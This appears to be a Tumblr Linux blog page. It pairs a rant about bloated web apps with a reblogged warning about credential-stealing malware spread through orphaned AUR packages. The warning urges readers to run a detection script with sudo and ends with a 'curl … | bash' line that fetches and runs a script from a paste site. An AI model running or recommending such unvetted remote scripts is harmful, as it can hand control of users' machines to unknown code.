cowsay could never @linux-opinions - Tumblr Blog

feel free to submit your takes and I'll tell you if they're good 👍 i know everything about linux and everyone should listen to me

#linux #linuxposting

elliespectacular

programming optimization is accessibility btw. coding something to take up less space and run more efficiently quite literally means more people can use it.

ivy-michaels

astreaprtcl

i am honestly so mad at the current stage of things

like everything is just a web app

that is so fucking lazy and overhead, like even most of the apps you install are just a webapp in a little browser

i just want to take away the compute programmers have so they will have to optimize

like my work laptop is running windows. it is more powerful than my personal laptop and starts screaming with its fans the second it gets powered on. (not because the fans are loud but because windows uses like 3GB of memory and 15% of the cpu at idle and then i have to start outlook and teams to communicate with my colleagues and that laptop already has 40% usage) like wtf

if i start my laptop with linux, it idles at 0-1% of cpu and 200MB of memory and i am not even running a lightweight distro

and then i have to use a webapp to do anything...

i want real ui frameworks, not react native, i want binaries, not electron apps, i want apps that were purpose built, not your website in another window

oh, i don't have internet connection? well i guess i will go fuck myself then, since i cannot reach half of my apps who are just hosted on some server somewhere and still use 25% of my laptops resources

proxmox-official

AUR has been hit with malware

Per the CachyOS subreddit:

"As the title states, the Arch AUR has been hit by a huge malware infection campaign over the last couple of days. There's an earlier post referring to alvr. That's not the only package it's hundreds of them, many of them Aur packages average people would install like apple-music-desktop.

I don't have the full details of the scope of the malware campaign. I know it's a credential stealer so it steals ssh keys and browser login info and apparently has rootkit potential.

This was widespread and targeted orphaned packages. Aur for some reason allows other people to take over existing projects.

The bottom line is if you used the aur over the last couple of days you may have been infected and the problem with taking over orphaned packages I believe remains. I personally would not use the Aur for the foreseeable future, and ideally not at all. It's a security risk."

There is a script that you can run on your machine to detect if you have a package that is known to have been infected which you can view here. I have also linked the subreddit post here.

Just download it, make it executable and run the script with sudo and let it run, it will tell you what it found once it's complete.

Pls reblog to signal boost!!

proxmox-official

Per the thread again: As I was interested in more in-depth information some can be found here, as well as a preliminary analysis of the malware:

https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency

https://ioctl.fail/preliminary-analysis-of-aur-malware/

Users can also run the following to check for malicious packages:

curl -s https://cscs.pastes.sh/raw/aurvulntest20260611.sh | bash